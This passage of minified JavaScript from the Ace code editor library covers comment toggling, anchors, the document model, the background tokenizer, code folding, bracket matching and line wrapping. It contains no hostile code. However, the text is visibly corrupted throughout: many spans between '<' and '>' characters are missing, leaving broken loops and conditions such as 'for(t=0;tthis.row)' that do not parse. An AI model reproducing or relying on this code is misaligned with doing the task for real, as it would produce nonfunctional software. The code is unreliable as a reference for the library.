o,r,a=(m=new h(t,n.row,n.column)).getCurrentToken(),l=(t.selection,t.selection.toOrientedRange());if(a&&/comment/.test(a.type)){for(var u,d;a&&/comment/.test(a.type);){if(-1!=(p=a.value.indexOf(s.start))){var g=m.getCurrentTokenRow(),f=m.getCurrentTokenColumn()+p;u=new c(g,f,g,f+s.start.length);break}a=m.stepBackward()}var m;for(a=(m=new h(t,n.row,n.column)).getCurrentToken();a&&/comment/.test(a.type);){var p;if(-1!=(p=a.value.indexOf(s.end))){g=m.getCurrentTokenRow(),f=m.getCurrentTokenColumn()+p;d=new c(g,f,g,f+s.end.length);break}a=m.stepForward()}d&&t.remove(d),u&&(t.remove(u),o=u.start.row,r=-s.start.length)}else r=s.start.length,o=i.start.row,t.insert(i.end,s.end),t.insert(i.start,s.start);l.start.row==o&&(l.start.column+=r),l.end.row==o&&(l.end.column+=r),t.selection.fromOrientedRange(l)}},this.getNextLineIndent=function(e,t,i){return this.$getIndent(t)},this.checkOutdent=function(e,t,i){return!1},this.autoOutdent=function(e,t,i){},this.$getIndent=function(e){return e.match(/^\s*/)[0]},this.createWorker=function(e){return null},this.createModeDelegates=function(e){for(var t in this.$embeds=[],this.$modes={},e)if(e[t]){var i=e[t],s=i.prototype.$id,o=n.$modes[s];o||(n.$modes[s]=o=new i),n.$modes[t]||(n.$modes[t]=o),this.$embeds.push(t),this.$modes[t]=o}var r=["toggleBlockComment","toggleCommentLines","getNextLineIndent","checkOutdent","autoOutdent","transformAction","getCompletions"];for(t=0;tthis.row)){var i=function(t,i,n){var s="insert"==t.action,o=(s?1:-1)*(t.end.row-t.start.row),r=(s?1:-1)*(t.end.column-t.start.column),a=t.start,l=s?a:t.end;if(e(i,a,n))return{row:i.row,column:i.column};if(e(l,i,!n))return{row:i.row+o,column:i.column+(i.row==l.row?r:0)};return{row:a.row,column:a.column}}(t,{row:this.row,column:this.column},this.$insertRight);this.setPosition(i.row,i.column,!0)}},this.setPosition=function(e,t,i){var n;if(n=i?{row:e,column:t}:this.$clipPositionToDocument(e,t),this.row!=n.row||this.column!=n.column){var s={row:this.row,column:this.column};this.row=n.row,this.column=n.column,this._signal("change",{old:s,value:n})}},this.detach=function(){this.document.off("change",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on("change",this.$onChange)},this.$clipPositionToDocument=function(e,t){var i={};return e>=this.document.getLength()?(i.row=Math.max(0,this.document.getLength()-1),i.column=this.document.getLine(i.row).length):e<0?(i.row=0,i.column=0):(i.row=e,i.column=Math.min(this.document.getLine(i.row).length,Math.max(0,t))),t<0&&(i.column=0),i}}).call(o.prototype)})),define("ace/document",["require","exports","module","ace/lib/oop","ace/apply_delta","ace/lib/event_emitter","ace/range","ace/anchor"],(function(e,t,i){"use strict";var n=e("./lib/oop"),s=e("./apply_delta").applyDelta,o=e("./lib/event_emitter").EventEmitter,r=e("./range").Range,a=e("./anchor").Anchor,l=function(e){this.$lines=[""],0===e.length?this.$lines=[""]:Array.isArray(e)?this.insertMergedLines({row:0,column:0},e):this.insert({row:0,column:0},e)};(function(){n.implement(this,o),this.setValue=function(e){var t=this.getLength()-1;this.remove(new r(0,0,t,this.getLine(t).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new a(this,e,t)},0==="aaa".split(/a/).length?this.$split=function(e){return e.replace(/\r\n|\r/g,"\n").split("\n")}:this.$split=function(e){return e.split(/\r\n|\r|\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\r\n|\r|\n)/m);this.$autoNewLine=t?t[1]:"\n",this._signal("changeNewLineMode")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case"windows":return"\r\n";case"unix":return"\n";default:return this.$autoNewLine||"\n"}},this.$autoNewLine="",this.$newLineMode="auto",this.setNewLineMode=function(e){this.$newLineMode!==e&&(this.$newLineMode=e,this._signal("changeNewLineMode"))},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return"\r\n"==e||"\r"==e||"\n"==e},this.getLine=function(e){return this.$lines[e]||""},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){return this.getLinesForRange(e).join(this.getNewLineCharacter())},this.getLinesForRange=function(e){var t;if(e.start.row===e.end.row)t=[this.getLine(e.start.row).substring(e.start.column,e.end.column)];else{(t=this.getLines(e.start.row,e.end.row))[0]=(t[0]||"").substring(e.start.column);var i=t.length-1;e.end.row-e.start.row==i&&(t[i]=t[i].substring(0,e.end.column))}return t},this.insertLines=function(e,t){return console.warn("Use of document.insertLines is deprecated. Use the insertFullLines method instead."),this.insertFullLines(e,t)},this.removeLines=function(e,t){return console.warn("Use of document.removeLines is deprecated. Use the removeFullLines method instead."),this.removeFullLines(e,t)},this.insertNewLine=function(e){return console.warn("Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead."),this.insertMergedLines(e,["",""])},this.insert=function(e,t){return this.getLength()<=1&&this.$detectNewLine(t),this.insertMergedLines(e,this.$split(t))},this.insertInLine=function(e,t){var i=this.clippedPos(e.row,e.column),n=this.pos(e.row,e.column+t.length);return this.applyDelta({start:i,end:n,action:"insert",lines:[t]},!0),this.clonePos(n)},this.clippedPos=function(e,t){var i=this.getLength();void 0===e?e=i:e<0?e=0:e>=i&&(e=i-1,t=void 0);var n=this.getLine(e);return null==t&&(t=n.length),{row:e,column:t=Math.min(Math.max(t,0),n.length)}},this.clonePos=function(e){return{row:e.row,column:e.column}},this.pos=function(e,t){return{row:e,column:t}},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):(e.row=Math.max(0,e.row),e.column=Math.min(Math.max(e.column,0),this.getLine(e.row).length)),e},this.insertFullLines=function(e,t){var i=0;(e=Math.min(Math.max(e,0),this.getLength()))0,n=t=0&&this.applyDelta({start:this.pos(e,this.getLine(e).length),end:this.pos(e+1,0),action:"remove",lines:["",""]})},this.replace=function(e,t){return e instanceof r||(e=r.fromPoints(e.start,e.end)),0===t.length&&e.isEmpty()?e.start:t==this.getTextRange(e)?e.end:(this.remove(e),t?this.insert(e.start,t):e.start)},this.applyDeltas=function(e){for(var t=0;t=0;t--)this.revertDelta(e[t])},this.applyDelta=function(e,t){var i="insert"==e.action;(i?e.lines.length<=1&&!e.lines[0]:!r.comparePoints(e.start,e.end))||(i&&e.lines.length>2e4?this.$splitAndapplyLargeDelta(e,2e4):(s(this.$lines,e,t),this._signal("change",e)))},this.$safeApplyDelta=function(e){var t=this.$lines.length;("remove"==e.action&&e.start.row20){i.running=setTimeout(i.$worker,20);break}}i.currentLine=t,-1==n&&(n=t),o<=n&&i.fireUpdateEvent(o,n)}}};(function(){n.implement(this,s),this.setTokenizer=function(e){this.tokenizer=e,this.lines=[],this.states=[],this.start(0)},this.setDocument=function(e){this.doc=e,this.lines=[],this.states=[],this.stop()},this.fireUpdateEvent=function(e,t){var i={first:e,last:t};this._signal("update",{data:i})},this.start=function(e){this.currentLine=Math.min(e||0,this.currentLine,this.doc.getLength()),this.lines.splice(this.currentLine,this.lines.length),this.states.splice(this.currentLine,this.states.length),this.stop(),this.running=setTimeout(this.$worker,700)},this.scheduleStart=function(){this.running||(this.running=setTimeout(this.$worker,700))},this.$updateOnChange=function(e){var t=e.start.row,i=e.end.row-t;if(0===i)this.lines[t]=null;else if("remove"==e.action)this.lines.splice(t,i+1,null),this.states.splice(t,i+1,null);else{var n=Array(i+1);n.unshift(t,1),this.lines.splice.apply(this.lines,n),this.states.splice.apply(this.states,n)}this.currentLine=Math.min(t,this.currentLine,this.doc.getLength()),this.stop()},this.stop=function(){this.running&&clearTimeout(this.running),this.running=!1},this.getTokens=function(e){return this.lines[e]||this.$tokenizeRow(e)},this.getState=function(e){return this.currentLine==e&&this.$tokenizeRow(e),this.states[e]||"start"},this.$tokenizeRow=function(e){var t=this.doc.getLine(e),i=this.states[e-1],n=this.tokenizer.getLineTokens(t,i,e);return this.states[e]+""!=n.state+""?(this.states[e]=n.state,this.lines[e+1]=null,this.currentLine>e+1&&(this.currentLine=e+1)):this.currentLine==e&&(this.currentLine=e+1),this.lines[e]=n.tokens},this.cleanup=function(){this.running=!1,this.lines=[],this.states=[],this.currentLine=0,this.removeAllListeners()}}).call(o.prototype),t.BackgroundTokenizer=o})),define("ace/search_highlight",["require","exports","module","ace/lib/lang","ace/lib/oop","ace/range"],(function(e,t,i){"use strict";var n=e("./lib/lang"),s=(e("./lib/oop"),e("./range").Range),o=function(e,t,i){this.setRegexp(e),this.clazz=t,this.type=i||"text"};(function(){this.MAX_RANGES=500,this.setRegexp=function(e){this.regExp+""!=e+""&&(this.regExp=e,this.cache=[])},this.update=function(e,t,i,o){if(this.regExp)for(var r=o.firstRow,a=o.lastRow,l={},h=r;h<=a;h++){var c=this.cache[h];null==c&&((c=n.getMatchOffsets(i.getLine(h),this.regExp)).length>this.MAX_RANGES&&(c=c.slice(0,this.MAX_RANGES)),c=c.map((function(e){return new s(h,e.offset,h,e.offset+e.length)})),this.cache[h]=c.length?c:"");for(var u=c.length;u--;){var d=c[u].toScreenRange(i),g=d.toString();l[g]||(l[g]=!0,t.drawSingleLineMarker(e,d,this.clazz,o))}}}}).call(o.prototype),t.SearchHighlight=o})),define("ace/edit_session/fold_line",["require","exports","module","ace/range"],(function(e,t,i){"use strict";var n=e("../range").Range;function s(e,t){this.foldData=e,Array.isArray(t)?this.folds=t:t=this.folds=[t];var i=t[t.length-1];this.range=new n(t[0].start.row,t[0].start.column,i.end.row,i.end.column),this.start=this.range.start,this.end=this.range.end,this.folds.forEach((function(e){e.setFoldLine(this)}),this)}(function(){this.shiftRow=function(e){this.start.row+=e,this.end.row+=e,this.folds.forEach((function(t){t.start.row+=e,t.end.row+=e}))},this.addFold=function(e){if(e.sameRow){if(e.start.rowthis.endRow)throw new Error("Can't add a fold to this FoldLine as it has no connection");this.folds.push(e),this.folds.sort((function(e,t){return-e.range.compareEnd(t.start.row,t.start.column)})),this.range.compareEnd(e.start.row,e.start.column)>0?(this.end.row=e.end.row,this.end.column=e.end.column):this.range.compareStart(e.end.row,e.end.column)<0&&(this.start.row=e.start.row,this.start.column=e.start.column)}else if(e.start.row==this.end.row)this.folds.push(e),this.end.row=e.end.row,this.end.column=e.end.column;else{if(e.end.row!=this.start.row)throw new Error("Trying to add fold to FoldRow that doesn't have a matching row");this.folds.unshift(e),this.start.row=e.start.row,this.start.column=e.start.column}e.foldLine=this},this.containsRow=function(e){return e>=this.start.row&&e<=this.end.row},this.walk=function(e,t,i){var n,s,o=0,r=this.folds,a=!0;null==t&&(t=this.end.row,i=this.end.column);for(var l=0;l0)){var l=n(e,r.start);return 0===a?t&&0!==l?-o-2:o:l>0||0===l&&!t?o:-o-1}}return-o-1},this.add=function(e){var t=!e.isEmpty(),i=this.pointIndex(e.start,t);i<0&&(i=-i-1);var n=this.pointIndex(e.end,t,i);return n<0?n=-n-1:n++,this.ranges.splice(i,n-i,e)},this.addList=function(e){for(var t=[],i=e.length;i--;)t.push.apply(t,this.add(e[i]));return t},this.substractPoint=function(e){var t=this.pointIndex(e);if(t>=0)return this.ranges.splice(t,1)},this.merge=function(){for(var e,t=[],i=this.ranges,s=(i=i.sort((function(e,t){return n(e.start,t.start)})))[0],o=1;o=0},this.containsPoint=function(e){return this.pointIndex(e)>=0},this.rangeAtPoint=function(e){var t=this.pointIndex(e);if(t>=0)return this.ranges[t]},this.clipRows=function(e,t){var i=this.ranges;if(i[0].start.row>t||i[i.length-1].start.row=n)break}if("insert"==e.action)for(var l=s-n,h=-t.column+i.column;rn)break;if(c.start.row==n&&c.start.column>=t.column&&(c.start.column==t.column&&this.$bias<=0||(c.start.column+=h,c.start.row+=l)),c.end.row==n&&c.end.column>=t.column){if(c.end.column==t.column&&this.$bias<0)continue;c.end.column==t.column&&h>0&&rc.start.column&&c.end.column==o[r+1].start.column&&(c.end.column-=h),c.end.column+=h,c.end.row+=l}}else for(l=n-s,h=t.column-i.column;rs)break;c.end.rowt.column)&&(c.end.column=t.column,c.end.row=t.row):(c.end.column+=h,c.end.row+=l):c.end.row>s&&(c.end.row+=l),c.start.rowt.column)&&(c.start.column=t.column,c.start.row=t.row):(c.start.column+=h,c.start.row+=l):c.start.row>s&&(c.start.row+=l)}if(0!=l&&r=e)return s;if(s.end.row>e)return null}return null},this.getNextFoldLine=function(e,t){var i=this.$foldData,n=0;for(t&&(n=i.indexOf(t)),-1==n&&(n=0);n=e)return s}return null},this.getFoldedRowCount=function(e,t){for(var i=this.$foldData,n=t-e+1,s=0;s=t){a=e?n-=t-a:n=0);break}r>=e&&(n-=a>=e?r-a:r-e+1)}return n},this.$addFoldLine=function(e){return this.$foldData.push(e),this.$foldData.sort((function(e,t){return e.start.row-t.start.row})),e},this.addFold=function(e,t){var i,n=this.$foldData,r=!1;e instanceof o?i=e:(i=new o(t,e)).collapseChildren=t.collapseChildren,this.$clipRangeToDocument(i.range);var a=i.start.row,l=i.start.column,h=i.end.row,c=i.end.column,u=this.getFoldAt(a,l,1),d=this.getFoldAt(h,c,-1);if(u&&d==u)return u.addSubFold(i);u&&!u.range.isStart(a,l)&&this.removeFold(u),d&&!d.range.isEnd(h,c)&&this.removeFold(d);var g=this.getFoldsInRange(i.range);g.length>0&&(this.removeFolds(g),i.collapseChildren||g.forEach((function(e){i.addSubFold(e)})));for(var f=0;f0&&this.foldAll(e.start.row+1,e.end.row,e.collapseChildren-1),e.subFolds=[]},this.expandFolds=function(e){e.forEach((function(e){this.expandFold(e)}),this)},this.unfold=function(e,t){var i,s;if(null==e)i=new n(0,0,this.getLength(),0),null==t&&(t=!0);else if("number"==typeof e)i=new n(e,0,e,this.getLine(e).length);else if("row"in e)i=n.fromPoints(e,e);else{if(Array.isArray(e))return s=[],e.forEach((function(e){s=s.concat(this.unfold(e))}),this),s;i=e}for(var o=s=this.getFoldsInRangeList(i);1==s.length&&n.comparePoints(s[0].start,i.start)<0&&n.comparePoints(s[0].end,i.end)>0;)this.expandFolds(s),s=this.getFoldsInRangeList(i);if(0!=t?this.removeFolds(s):this.expandFolds(s),o.length)return o},this.isRowFolded=function(e,t){return!!this.getFoldLine(e,t)},this.getRowFoldEnd=function(e,t){var i=this.getFoldLine(e,t);return i?i.end.row:e},this.getRowFoldStart=function(e,t){var i=this.getFoldLine(e,t);return i?i.start.row:e},this.getFoldDisplayLine=function(e,t,i,n,s){null==n&&(n=e.start.row),null==s&&(s=0),null==t&&(t=e.end.row),null==i&&(i=this.getLine(t).length);var o=this.doc,r="";return e.walk((function(e,t,i,a){if(!(tc)break}while(o&&l.test(o.type));o=s.stepBackward()}else o=s.getCurrentToken();return h.end.row=s.getCurrentTokenRow(),h.end.column=s.getCurrentTokenColumn()+o.value.length-2,h}},this.foldAll=function(e,t,i,n){null==i&&(i=1e5);var s=this.foldWidgets;if(s){t=t||this.getLength();for(var o=e=e||0;o=e&&(o=r.end.row,r.collapseChildren=i,this.addFold("...",r))}}},this.foldToLevel=function(e){for(this.foldAll();e-- >0;)this.unfold(null,!1)},this.foldAllComments=function(){var e=this;this.foldAll(null,null,null,(function(t){for(var i=e.getTokens(t),n=0;n=0;){var o=i[s];if(null==o&&(o=i[s]=this.getFoldWidget(s)),"start"==o){var r=this.getFoldWidgetRange(s);if(n||(n=r),r&&r.end.row>=e)break}s--}return{range:-1!==s&&r,firstRange:n}},this.onFoldWidgetClick=function(e,t){var i={children:(t=t.domEvent).shiftKey,all:t.ctrlKey||t.metaKey,siblings:t.altKey};if(!this.$toggleFoldWidget(e,i)){var n=t.target||t.srcElement;n&&/ace_fold-widget/.test(n.className)&&(n.className+=" ace_invalid")}},this.$toggleFoldWidget=function(e,t){if(this.getFoldWidget){var i=this.getFoldWidget(e),n=this.getLine(e),s="end"===i?-1:1,o=this.getFoldAt(e,-1===s?0:n.length,s);if(o)return t.children||t.all?this.removeFold(o):this.expandFold(o),o;var r=this.getFoldWidgetRange(e,!0);if(r&&!r.isMultiLine()&&(o=this.getFoldAt(r.start.row,r.start.column,1))&&r.isEqual(o.range))return this.removeFold(o),o;if(t.siblings){var a=this.getParentFoldRangeData(e);if(a.range)var l=a.range.start.row+1,h=a.range.end.row;this.foldAll(l,h,t.all?1e4:0)}else t.children?(h=r?r.end.row:this.getLength(),this.foldAll(e+1,h,t.all?1e4:0)):r&&(t.all&&(r.collapseChildren=1e4),this.addFold("...",r));return r}},this.toggleFoldWidget=function(e){var t=this.selection.getCursor().row;t=this.getRowFoldStart(t);var i=this.$toggleFoldWidget(t,{});if(!i){var n=this.getParentFoldRangeData(t,!0);if(i=n.range||n.firstRange){t=i.start.row;var s=this.getFoldAt(t,this.getLine(t).length,1);s?this.removeFold(s):this.addFold("...",i)}}},this.updateFoldWidgets=function(e){var t=e.start.row,i=e.end.row-t;if(0===i)this.foldWidgets[t]=null;else if("remove"==e.action)this.foldWidgets.splice(t,i+1,null);else{var n=Array(i+1);n.unshift(t,1),this.foldWidgets.splice.apply(this.foldWidgets,n)}},this.tokenizerUpdateFoldWidgets=function(e){var t=e.data;t.first!=t.last&&this.foldWidgets.length>t.first&&this.foldWidgets.splice(t.first,this.foldWidgets.length)}}})),define("ace/edit_session/bracket_match",["require","exports","module","ace/token_iterator","ace/range"],(function(e,t,i){"use strict";var n=e("../token_iterator").TokenIterator,s=e("../range").Range;t.BracketMatch=function(){this.findMatchingBracket=function(e,t){if(0==e.column)return null;var i=t||this.getLine(e.row).charAt(e.column-1);if(""==i)return null;var n=i.match(/([\(\[\{])|([\)\]\}])/);return n?n[1]?this.$findClosingBracket(n[1],e):this.$findOpeningBracket(n[2],e):null},this.getBracketRange=function(e){var t,i=this.getLine(e.row),n=!0,o=i.charAt(e.column-1),r=o&&o.match(/([\(\[\{])|([\)\]\}])/);if(r||(o=i.charAt(e.column),e={row:e.row,column:e.column+1},r=o&&o.match(/([\(\[\{])|([\)\]\}])/),n=!1),!r)return null;if(r[1]){if(!(a=this.$findClosingBracket(r[1],e)))return null;t=s.fromPoints(e,a),n||(t.end.column++,t.start.column--),t.cursor=t.end}else{var a;if(!(a=this.$findOpeningBracket(r[2],e)))return null;t=s.fromPoints(a,e),n||(t.start.column++,t.end.column--),t.cursor=t.start}return t},this.getMatchingBracketRanges=function(e){var t=this.getLine(e.row),i=t.charAt(e.column-1),n=i&&i.match(/([\(\[\{])|([\)\]\}])/);if(n||(i=t.charAt(e.column),e={row:e.row,column:e.column+1},n=i&&i.match(/([\(\[\{])|([\)\]\}])/)),!n)return null;var o=new s(e.row,e.column-1,e.row,e.column),r=n[1]?this.$findClosingBracket(n[1],e):this.$findOpeningBracket(n[2],e);return r?[o,new s(r.row,r.column,r.row,r.column+1)]:[o]},this.$brackets={")":"(","(":")","]":"[","[":"]","{":"}","}":"{","<":">",">":"<"},this.$findOpeningBracket=function(e,t,i){var s=this.$brackets[e],o=1,r=new n(this,t.row,t.column),a=r.getCurrentToken();if(a||(a=r.stepForward()),a){i||(i=new RegExp("(\\.?"+a.type.replace(".","\\.").replace("rparen",".paren").replace(/\b(?:end)\b/,"(?:start|begin|end)")+")+"));for(var l=t.column-r.getCurrentTokenColumn()-2,h=a.value;;){for(;l>=0;){var c=h.charAt(l);if(c==s){if(0==(o-=1))return{row:r.getCurrentTokenRow(),column:l+r.getCurrentTokenColumn()}}else c==e&&(o+=1);l-=1}do{a=r.stepBackward()}while(a&&!i.test(a.type));if(null==a)break;l=(h=a.value).length-1}return null}},this.$findClosingBracket=function(e,t,i){var s=this.$brackets[e],o=1,r=new n(this,t.row,t.column),a=r.getCurrentToken();if(a||(a=r.stepForward()),a){i||(i=new RegExp("(\\.?"+a.type.replace(".","\\.").replace("lparen",".paren").replace(/\b(?:start|begin)\b/,"(?:start|begin|end)")+")+"));for(var l=t.column-r.getCurrentTokenColumn();;){for(var h=a.value,c=h.length;li&&(this.$docRowCache.splice(i,t),this.$screenRowCache.splice(i,t))},this.$getRowCacheIndex=function(e,t){for(var i=0,n=e.length-1;i<=n;){var s=i+n>>1,o=e[s];if(t>o)i=s+1;else{if(!(t=t);o++);return(i=n[o])?(i.index=o,i.start=s-i.value.length,i):null},this.setUndoManager=function(e){if(this.$undoManager=e,this.$informUndoManager&&this.$informUndoManager.cancel(),e){var t=this;e.addSession(this),this.$syncInformUndoManager=function(){t.$informUndoManager.cancel(),t.mergeUndoDeltas=!1},this.$informUndoManager=s.delayedCall(this.$syncInformUndoManager)}else this.$syncInformUndoManager=function(){}},this.markUndoGroup=function(){this.$syncInformUndoManager&&this.$syncInformUndoManager()},this.$defaultUndoManager={undo:function(){},redo:function(){},hasUndo:function(){},hasRedo:function(){},reset:function(){},add:function(){},addSelection:function(){},startNewGroup:function(){},addSession:function(){}},this.getUndoManager=function(){return this.$undoManager||this.$defaultUndoManager},this.getTabString=function(){return this.getUseSoftTabs()?s.stringRepeat(" ",this.getTabSize()):"\t"},this.setUseSoftTabs=function(e){this.setOption("useSoftTabs",e)},this.getUseSoftTabs=function(){return this.$useSoftTabs&&!this.$mode.$indentWithTabs},this.setTabSize=function(e){this.setOption("tabSize",e)},this.getTabSize=function(){return this.$tabSize},this.isTabStop=function(e){return this.$useSoftTabs&&e.column%this.$tabSize==0},this.setNavigateWithinSoftTabs=function(e){this.setOption("navigateWithinSoftTabs",e)},this.getNavigateWithinSoftTabs=function(){return this.$navigateWithinSoftTabs},this.$overwrite=!1,this.setOverwrite=function(e){this.setOption("overwrite",e)},this.getOverwrite=function(){return this.$overwrite},this.toggleOverwrite=function(){this.setOverwrite(!this.$overwrite)},this.addGutterDecoration=function(e,t){this.$decorations[e]||(this.$decorations[e]=""),this.$decorations[e]+=" "+t,this._signal("changeBreakpoint",{})},this.removeGutterDecoration=function(e,t){this.$decorations[e]=(this.$decorations[e]||"").replace(" "+t,""),this._signal("changeBreakpoint",{})},this.getBreakpoints=function(){return this.$breakpoints},this.setBreakpoints=function(e){this.$breakpoints=[];for(var t=0;t0&&(n=!!i.charAt(t-1).match(this.tokenRe)),n||(n=!!i.charAt(t).match(this.tokenRe)),n)var s=this.tokenRe;else if(/^\s+$/.test(i.slice(t-1,t+1)))s=/\s/;else s=this.nonTokenRe;var o=t;if(o>0){do{o--}while(o>=0&&i.charAt(o).match(s));o++}for(var r=t;re&&(e=t.screenWidth)})),this.lineWidgetWidth=e},this.$computeWidth=function(e){if(this.$modified||e){if(this.$modified=!1,this.$useWrapMode)return this.screenWidth=this.$wrapLimit;for(var t=this.doc.getAllLines(),i=this.$rowLengthCache,n=0,s=0,o=this.$foldData[s],r=o?o.start.row:1/0,a=t.length,l=0;lr){if((l=o.end.row+1)>=a)break;r=(o=this.$foldData[s++])?o.start.row:1/0}null==i[l]&&(i[l]=this.$getStringScreenWidth(t[l])[0]),i[l]>n&&(n=i[l])}this.screenWidth=n}},this.getLine=function(e){return this.doc.getLine(e)},this.getLines=function(e,t){return this.doc.getLines(e,t)},this.getLength=function(){return this.doc.getLength()},this.getTextRange=function(e){return this.doc.getTextRange(e||this.selection.getRange())},this.insert=function(e,t){return this.doc.insert(e,t)},this.remove=function(e){return this.doc.remove(e)},this.removeFullLines=function(e,t){return this.doc.removeFullLines(e,t)},this.undoChanges=function(e,t){if(e.length){this.$fromUndo=!0;for(var i=e.length-1;-1!=i;i--){var n=e[i];"insert"==n.action||"remove"==n.action?this.doc.revertDelta(n):n.folds&&this.addFolds(n.folds)}!t&&this.$undoSelect&&(e.selectionBefore?this.selection.fromJSON(e.selectionBefore):this.selection.setRange(this.$getUndoSelection(e,!0))),this.$fromUndo=!1}},this.redoChanges=function(e,t){if(e.length){this.$fromUndo=!0;for(var i=0;ie.end.column&&(o.start.column+=h),o.end.row==e.end.row&&o.end.column>e.end.column&&(o.end.column+=h)),r&&o.start.row>=e.end.row&&(o.start.row+=r,o.end.row+=r)}if(o.end=this.insert(o.start,n),s.length){var a=e.start,l=o.start,h=(r=l.row-a.row,l.column-a.column);this.addFolds(s.map((function(e){return(e=e.clone()).start.row==a.row&&(e.start.column+=h),e.end.row==a.row&&(e.end.column+=h),e.start.row+=r,e.end.row+=r,e})))}return o},this.indentRows=function(e,t,i){i=i.replace(/\t/g,this.getTabString());for(var n=e;n<=t;n++)this.doc.insertInLine({row:n,column:0},i)},this.outdentRows=function(e){for(var t=e.collapseRows(),i=new c(0,0,0,0),n=this.getTabSize(),s=t.start.row;s<=t.end.row;++s){var o=this.getLine(s);i.start.row=s,i.end.row=s;for(var r=0;r0){var s;if((s=this.getRowFoldEnd(t+i))>this.doc.getLength()-1)return 0;n=s-t}else{e=this.$clipRowToDocument(e);n=(t=this.$clipRowToDocument(t))-e+1}var o=new c(e,0,t,Number.MAX_VALUE),r=this.getFoldsInRange(o).map((function(e){return(e=e.clone()).start.row+=n,e.end.row+=n,e})),a=0==i?this.doc.getLines(e,t):this.doc.removeFullLines(e,t);return this.doc.insertFullLines(e+n,a),r.length&&this.addFolds(r),n},this.moveLinesUp=function(e,t){return this.$moveLines(e,t,-1)},this.moveLinesDown=function(e,t){return this.$moveLines(e,t,1)},this.duplicateLines=function(e,t){return this.$moveLines(e,t,0)},this.$clipRowToDocument=function(e){return Math.max(0,Math.min(e,this.doc.getLength()-1))},this.$clipColumnToRow=function(e,t){return t<0?0:Math.min(this.doc.getLine(e).length,t)},this.$clipPositionToDocument=function(e,t){if(t=Math.max(0,t),e<0)e=0,t=0;else{var i=this.doc.getLength();e>=i?(e=i-1,t=this.doc.getLine(i-1).length):t=Math.min(this.doc.getLine(e).length,t)}return{row:e,column:t}},this.$clipRangeToDocument=function(e){e.start.row<0?(e.start.row=0,e.start.column=0):e.start.column=this.$clipColumnToRow(e.start.row,e.start.column);var t=this.doc.getLength()-1;return e.end.row>t?(e.end.row=t,e.end.column=this.doc.getLine(t).length):e.end.column=this.$clipColumnToRow(e.end.row,e.end.column),e},this.$wrapLimit=80,this.$useWrapMode=!1,this.$wrapLimitRange={min:null,max:null},this.setUseWrapMode=function(e){if(e!=this.$useWrapMode){if(this.$useWrapMode=e,this.$modified=!0,this.$resetRowCache(0),e){var t=this.getLength();this.$wrapData=Array(t),this.$updateWrapData(0,t-1)}this._signal("changeWrapMode")}},this.getUseWrapMode=function(){return this.$useWrapMode},this.setWrapLimitRange=function(e,t){this.$wrapLimitRange.min===e&&this.$wrapLimitRange.max===t||(this.$wrapLimitRange={min:e,max:t},this.$modified=!0,this.$bidiHandler.markAsDirty(),this.$useWrapMode&&this._signal("changeWrapMode"))},this.adjustWrapLimit=function(e,t){var i=this.$wrapLimitRange;i.max<0&&(i={min:t,max:t});var n=this.$constrainWrapLimit(e,i.min,i.max);return n!=this.$wrapLimit&&n>1&&(this.$wrapLimit=n,this.$modified=!0,this.$useWrapMode&&(this.$updateWrapData(0,this.getLength()-1),this.$resetRowCache(0),this._signal("changeWrapLimit")),!0)},this.$constrainWrapLimit=function(e,t,i){return t&&(e=Math.max(t,e)),i&&(e=Math.min(i,e)),e},this.getWrapLimit=function(){return this.$wrapLimit},this.setWrapLimit=function(e){this.setWrapLimitRange(e,e)},this.getWrapLimitRange=function(){return{min:this.$wrapLimitRange.min,max:this.$wrapLimitRange.max}},this.$updateInternalDataOnChange=function(e){var t=this.$useWrapMode,i=e.action,n=e.start,s=e.end,o=n.row,r=s.row,a=r-o,l=null;if(this.$updating=!0,0!=a)if("remove"===i){this[t?"$wrapData":"$rowLengthCache"].splice(o,a);var h=this.$foldData;l=this.getFoldsInRange(e),this.removeFolds(l);var c=0;if(m=this.getFoldLine(s.row)){m.addRemoveChars(s.row,s.column,n.column-s.column),m.shiftRow(-a);var u=this.getFoldLine(o);u&&u!==m&&(u.merge(m),m=u),c=h.indexOf(m)+1}for(;c=s.row&&m.shiftRow(-a)}r=o}else{var d=Array(a);d.unshift(o,0);var g=t?this.$wrapData:this.$rowLengthCache;g.splice.apply(g,d);h=this.$foldData,c=0;if(m=this.getFoldLine(o)){var f=m.range.compareInside(n.row,n.column);0==f?(m=m.split(n.row,n.column))&&(m.shiftRow(a),m.addRemoveChars(r,0,s.column-n.column)):-1==f&&(m.addRemoveChars(o,0,s.column-n.column),m.shiftRow(a)),c=h.indexOf(m)+1}for(;c=o&&m.shiftRow(a)}}else a=Math.abs(e.start.column-e.end.column),"remove"===i&&(l=this.getFoldsInRange(e),this.removeFolds(l),a=-a),(m=this.getFoldLine(o))&&m.addRemoveChars(o,n.column,a);return t&&this.$wrapData.length!=this.doc.getLength()&&console.error("doc.getLength() and $wrapData.length have to be the same!"),this.$updating=!1,t?this.$updateWrapData(o,r):this.$updateRowLengthCache(o,r),l},this.$updateRowLengthCache=function(e,t,i){this.$rowLengthCache[e]=null,this.$rowLengthCache[t]=null},this.$updateWrapData=function(i,n){var s,o,r=this.doc.getAllLines(),a=this.getTabSize(),l=this.$wrapData,h=this.$wrapLimit,c=i;for(n=Math.min(n,r.length-1);c<=n;)(o=this.getFoldLine(c,o))?(s=[],o.walk(function(i,n,o,a){var l;if(null!=i){(l=this.$getDisplayTokens(i,s.length))[0]=e;for(var 